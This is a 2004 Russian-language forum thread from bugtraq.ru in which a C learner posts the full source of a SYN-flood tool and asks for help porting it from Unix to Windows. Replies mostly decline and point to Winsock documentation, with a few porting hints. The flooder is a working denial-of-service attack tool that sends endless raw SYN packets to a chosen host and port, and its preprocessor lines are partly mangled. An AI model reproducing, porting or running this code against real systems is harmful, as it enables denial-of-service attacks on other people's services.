информационная безопасность
без паники и всерьез
 подробно о проекте
Spanning Tree Protocol: недокументированное применениеАтака на Internet
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Вредоносный релиз LiteLLM 
 Мощные индийские ключи 
 Срочные патчи для критических уязвимостей... 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / programming
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
Cygwin 15.03.04 11:53  Число просмотров: 1691
Автор: vaborg <Israel Vaborg> Статус: Elderman
<"чистая" ссылка>
врятли кто то будет тебе переносить твой код :)
если надо запустить то субж может помочь
а вообще говоря портирование весчь нетривиальная
могу тока предложить придерживаться POSIXа :)) тогда по идее все запуститься без проблем :)
<programming>
Помогите портировать код из Unix в Windows 12.03.04 22:28   [leo, Ktirf, amirul, vaborg]
Автор: choor Статус: Elderman
<"чистая" ссылка>
Продолжаю изучать Си. Вот помогите разобраться как этот код:
/*
 *                                                
 * synflood.c - description:               
 * programm: SYN-Flooder                   
 * version: 0.1                            
 * author: VIsir (visir@p0is0n.net)        
 *                                         
 * (c)Net Poison [www.p0is0n.net] Network Parasites
 *                                                
 */
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netinet/tcp.h>
#include<arpa/inet.h>
#include<unistd.h>
#include<string.h>
#include<stdio.h>
#include<stdlib.h>

int main(int argc, char *argv[])
{
	int sock;
	struct sockaddr_in sin;
	struct tcphdr tcph;
	
	if(argc != 3) {
		printf("Usage: %s <ip> <port>\n", argv[0]);
		return 0;
	}

	bzero(&sin, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = inet_addr(argv[1]);
	sin.sin_port = htons(atoi(argv[2]));
	
	if((sock = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) {
	    perror("socket()");
	    return 0;
	}

	bzero(&tcph, sizeof(tcph));	
#ifdef_linux_	tcph.dest = sin.sin_port;
	tcph.doff = sizeof(tcph) >> 2;
	tcph.syn = 1;
	tcph.window = htons(65535);
#else
	tcph.th_dport = sin.sin_port;
	tcph.th_off = sizeof(tcph) >> 2;
	tcph.th_flags = TH_SYN;
	tcph.th_win = htons(65535);
#endif

	printf("Flooding %s:%d\n", inet_ntoa(sin.sin_addr),
						ntohs(sin.sin_port));

	while(1) {
	int sport, seq;
#ifdef_linux_		tcph.source = htons(sport);
		tcph.seq = htonl(seq);
#else
		tcph.th_sport = htons(sport);
		tcph.th_seq = htonl(seq);
#endif
		seq += 31337;
		sport -= 13572;
		if(sendto(sock, &tcph, sizeof(tcph), 0,
			    (struct sockaddr*)&sin, sizeof(sin)) == -1) {
		    perror("sendto()");
		    return 0;
		}
		printf(".");
		fflush(stdout);
	}
	close(sock);
}
 

---
Перенести в Windows.
Примного благодарен, если ещё и коментарии будут :)
Человек, писавший эту программу сказал 16.03.04 07:15  
Автор: choor Статус: Elderman
<"чистая" ссылка>
Изменить инклуды на:

#define WIN32_LEAN_AND_BEAM
#include<windows.h>
#include<winsock.h>

И добавить функцию:

int WSAStartup (
WORD wVersionRequested,
LPWSADATA lpWSAData
);
Мало и не совсем то. 16.03.04 15:52  
Автор: Ktirf <Æ Rusakov> Статус: Elderman
<"чистая" ссылка>
> Изменить инклуды на:
>
> #define WIN32_LEAN_AND_BEAM
Гы, он WIN32_LEAN_AND_MEAN, вообще-то :) Вообще говоря, по фигу. Этот макрос всего лишь отключает редко используемый код в библиотеках, чтобы компилятор его зря не жевал. Точно можно сказать, что простенький клиент на сокетах этот код не использует, так что да, можно поставить :) Возможно, оно будет у тебя компиляться на пару десятых секунды быстрее :)

> #include<windows.h>
> #include<winsock.h>
>
> И добавить функцию:
>
> int WSAStartup (
> WORD wVersionRequested,
> LPWSADATA lpWSAData
> );

Это не все. Я, конечно, понимаю, что на виндах с сокетами через int работать - это круто, но я бы все-таки тип SOCKET использовал. И еще некоторое количество таких же фишек, в частности, с проверками ошибок.
Все понятно ктоме одного -- какова мораль? :) 16.03.04 11:26  
Автор: vaborg <Israel Vaborg> Статус: Elderman
<"чистая" ссылка>
:) 16.03.04 14:36  
Автор: choor Статус: Elderman
<"чистая" ссылка>
Получилось, что никто не знает, как быстро и комфортно перенести этот код :) кроме того кто писал этот код %)
Программисты блин %))
Не. Никто не захотел помочь. 16.03.04 16:00  
Автор: Ktirf <Æ Rusakov> Статус: Elderman
<"чистая" ссылка>
> Получилось, что никто не знает, как быстро и комфортно
> перенести этот код :) кроме того кто писал этот код %)
Ага, и даже он сказал не все.

> Программисты блин %))
Могу лишь ответить - учащийся C блин %-)

На Реймонда ссылку дать?
Давай :) 16.03.04 18:57  
Автор: choor Статус: Elderman
<"чистая" ссылка>
Она, в общем-то, вверху страницы все время висит. Не обижайся, если что. 16.03.04 19:48  
Автор: Ktirf <Æ Rusakov> Статус: Elderman
<"чистая" ссылка>


Как правильно задавать вопросы
О! и я не сразу въехал :))))))) именна это и нужно :) 16.03.04 20:53  
Автор: vaborg <Israel Vaborg> Статус: Elderman
<"чистая" ссылка>
мая ни согласная!!! :) 16.03.04 15:36  
Автор: vaborg <Israel Vaborg> Статус: Elderman
<"чистая" ссылка>
> Получилось, что никто не знает, как быстро и комфортно
> перенести этот код :) кроме того кто писал этот код %)
> Программисты блин %))
Люди смотрели с общих позиций на впорос,
никто и не собиралсяя запускать именно этот листинг :)
ты бы еще кусок ядра положил с вопросом как запустить под мастдаем :)))
Ну мне конкретно нужен был этот код :) 16.03.04 15:46  
Автор: choor Статус: Elderman
<"чистая" ссылка>
Я знаю, почему никто не захотел 16.03.04 18:01  
Автор: amirul <Serge> Статус: The Elderman
<"чистая" ссылка>
Ты забыл написать: "Живо, мля!!!" :-)
Ну не захотел никто переписывать для тебя этот код. В MSDN-е про сокеты все прекрасно расписано. Я там даже про Nagle алгоритм и прочие прелести TCP/IP понаходил.

Ну не ответили и все. Зачем обижаться-то. А тем более высказывать сомнения в компетенции. Думаю если ты предложишь мне или тому же Ktirf-у пару зеленых президентов. Короче. Все сказано у Реймонда: http://www.bugtraq.ru/forum/faq/general/smart-questions.html
Если ты не показал, что ты и сам работал над этим вопросом, а просто придешь и скажешь: напишите мне и побыстрее, тебя скорее всего проигнорируют
Да я ни на кого не обиделся :) 16.03.04 18:17  
Автор: choor Статус: Elderman
Отредактировано 16.03.04 18:22  Количество правок: 1
<"чистая" ссылка>
Да я ни на кого не обиделся :)
Наоборот спасибо, что помогли :)
мая опять ни согласная :))) 16.03.04 19:34  
Автор: vaborg <Israel Vaborg> Статус: Elderman
<"чистая" ссылка>
читаем первый пост!!! :)
------помогите разобраться!!!! :)------------
каждый сказал все что знал по поводу портирования
а вот разбираться в нем надо было самому :)) вообщем
каков вопрос таков и ответ ничего тут удивительного :)))
Ну переводить твой код не буду ;), Вообще я не уверен что в... 15.03.04 12:52  
Автор: Killer{R} <Dmitry> Статус: Elderman
<"чистая" ссылка>
Ну переводить твой код не буду ;), Вообще я не уверен что в виндах есть RAW_TCP, а вот RAW_IP имеется начиная с 2000х. Вот тебе ссылка. Все что там описано - работает ;)
http://pinegap.net/infosurge/infosurge-20.txt
Cygwin 15.03.04 11:53  
Автор: vaborg <Israel Vaborg> Статус: Elderman
<"чистая" ссылка>
врятли кто то будет тебе переносить твой код :)
если надо запустить то субж может помочь
а вообще говоря портирование весчь нетривиальная
могу тока предложить придерживаться POSIXа :)) тогда по идее все запуститься без проблем :)
пример 15.03.04 16:49  
Автор: vaborg <Israel Vaborg> Статус: Elderman
<"чистая" ссылка>
нашел пример который может понять как и куда переносится
смотри исходники sylpheed для линуха и вин32
читай доку к ним и думай :)
Пожалуйста :) 13.03.04 23:25  
Автор: Ktirf <Æ Rusakov> Статус: Elderman
<"чистая" ссылка>
Ну хорошо, давай я тебе перечислю места, которые нужно изменить. Я скорее всего что-то забуду. Тебе это поможет в изучении C?
Вот тебе кусок кода (через Яндекс найденный, между прочим), методом сравнения попробуй понять, что тебе нужно изменить. И почитай MSDN по работе с сокетами, если уж неохота в бумажные книжки лезть.
Заглянув по ссылке, ты поймешь, что комментарии к твоему вопросу писать - на брошюрку хватит. У Снейдера все по крайней мере систематично изложено.
Берешь Йона Снейдера и читаешь. 13.03.04 15:12  
Автор: Ktirf <Æ Rusakov> Статус: Elderman
<"чистая" ссылка>
Спасибо за очень конструктивный и позновательный ответ! 13.03.04 17:59  
Автор: choor Статус: Elderman
<"чистая" ссылка>
1





Рейтинг@Mail.ru


  Copyright © 2001-2026 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach